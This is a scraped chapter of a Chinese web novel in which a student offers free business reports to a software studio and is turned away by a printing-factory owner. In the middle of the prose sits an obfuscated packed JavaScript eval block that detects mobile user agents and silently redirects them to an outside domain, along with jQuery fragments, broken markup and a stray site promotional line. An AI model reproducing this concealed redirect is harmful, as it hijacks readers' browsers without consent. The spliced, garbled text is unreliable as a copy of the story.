叶林晨听了小刘的话并没生气而是很温和地对他也对其他人解释。
“我能理解你们的担心。创业是件很难的事尤其是你们现在的情况起步资金不充足业务量少可以说是在走钢丝任何一个决策失误都可能带来不可挽回的损失谁都不敢随便冒险。“
“所以你们怀疑我觉得风险太大是正常的。”
她顿了顿：“但我想说的是你们现在的难处不是没有努力
“没有客户定位没有市场分析广告撒出去也是石沉大海。其实并不是没人需要你们的软件而是需要的人找不到你们。”
叶林晨接着道：“而我也不是要你们今后的决策全都听我的我的工作只是针对你们目前的情况做一份报告免费。“
“报告里面会写你们的资金流、风险规避方案还有未来市场的方向。”
“但至于用不用完全由你们自己决定。就算你们最后觉得不合适至少也会多一份参考。”
“当然我是希望你们可以使用这份报告毕竟我花了心思去做也需要案例在我的创业报告中。“
说到这里她笑了笑：“所以如果你们有这个意愿我才会动手去做。“
“我知道这个决定并不容易下我也不着急要你们立刻答应。我理解你们此刻的犹豫你们可以花些时间好好讨论一下慢慢想清楚。”
她从包里掏出一张名片放到桌上推了过去：“这是我的联系方式。你们想好了可以随时传呼我。”
**怔了一下下意识伸手接过名片低头一看：“金桥广告？叶经理？”
他抬起头诧异地问“你不是大学生吗？怎么成经理了？”
叶林晨回答：“我确实是江城大学的大二学生金桥广告是我的兼职。”
正说着旁边另一个合伙人忽然反应过来：“金桥广告……是不是办天音模特大赛的那个？”
叶林晨摇头：“不是我们办的。我们只是负责寻找赞助商。“
“天音电子和雅丽服饰的赞助都是我拉到的。”
“我做过市场分析把他们的目标客户群体梳理清楚再用数据和逻辑说服他们。其实这也是一种营销方式。这次营销的结果相信你们也都看见了。”
几个人的表情顿时变得复杂。
刚才还有些怀疑的神色慢慢变得带着几分惊讶和期待。
只是那份谨慎仍在没有立刻松口。
听说和异性朋友讨论本书情节的，很容易发展成恋人哦
叶林晨看出他们的犹豫，没有再多说。
她起身，冲几人点点头：“你们好好想想。”
话落，转身走出了工作室。
叶林晨虽然在三木软件工作室没能当场拿下合作，但她并不气馁。至少**他们没有拒绝，甚至还留下了一点余地，这已经算是开了好头。
所以叶林晨没有丝毫的挫败，直接前往今天的第二站：启航印务。
工业园区里高新科技大厦有一定的距离，叶林晨就选择了坐公交过去。
她背上包，沿着街口找到公交站。
公交车里人多拥挤，车身一路晃晃悠悠，叶林晨一路摇晃着，心里却默默盘算着接下来的计划。
半个多小时后，她终于到了工业园区。
这里和高新科技大厦完全不同，没有那么现代气派，更多的是一片片厂房和低矮的仓库，空气里混着油墨味和机器轰鸣声。
厂房外墙刷着大字标语，红底白字，有些地方的漆已经斑驳。
顺着园区指引的牌子，叶林晨找到了启航印务。
厂房的大铁门敞开着，里面传出“哗啦啦”的机器声，油墨味浓烈扑鼻。
偌大的厂房里，几台印刷机高速运转，工人们卷着袖子，正麻利地搬纸、装版、看样。
叶林晨在门口站了一会儿，就看明白了：启航印务的生意很不错。
能维持这种开机率，说明订单量不小。
这样的企业，在江城日报上登广告，恐怕不是因为缺生意，而是想进一步扩展市场。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311291|174189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她正想着，一个中年男子从厂房里走出来。
他大约四十岁出头，穿着一身蓝色短袖工装，袖口沾着点油墨。
他个子不算高，却壮实结实，脸膛被长期的机器热气熏得黝黑，眉毛浓重，嘴里叼着一根半截香烟，吐出的烟雾都混着油墨味。
他一边用手扇着烟雾，一边扫了叶林晨一眼：“小同学，你找谁啊？”
叶林晨礼貌地笑笑，开口道：“您好，我是看见江城日报上的广告过来的。”
那人“哦”了一声，把她从头到脚打量了一遍，眉毛一挑，多了几分不耐烦：“我们这是大量印刷的，小姑娘。低于一千份的活儿，我们都不接。你要是想印点东西，去街口的印刷铺子就行，那才适合你。”
叶林晨连忙解释：“不是的，我不是来印刷的。我是来想谈合作的。”
“合作？”男人抽了口烟，吐出一团白雾。
叶林晨点头，耐心地把来意说了一遍：“我是大学生，现在在做一个创业报告，需要收集一些企业的真实情况。“
“我想和一些初创公司合作，帮他们做风险评估和资金管理的分析，帮助合理规避创业初期的风险。”
“我会写成一份详细的规划，数据和案例也会写进我的报告里……”
她话还没说完，那人就摆了摆手，直接打断了她：“行了行了，我们这不需要那种咨询，都是**的。“
叶林晨心头一紧，却还是保持镇定，赶紧补充：“我是免费的，不收钱的。”
谁知那男人冷笑一声，把烟头在门口铁皮桶上狠狠一磕，带着几分讥讽：“不收钱？不收钱的也不要。“
“你这种套路我清楚得很，现在说免费，后面给我来一堆服务费。你们这种花样，我见多了！“
“小小年纪就学人出来骗人，不学好！”
“小姑娘，我看你年纪小，还是劝你一句，还是好好回去读书，别搞这些违法犯罪的事。“
“行了，赶紧走，别在这耽误我做生意。”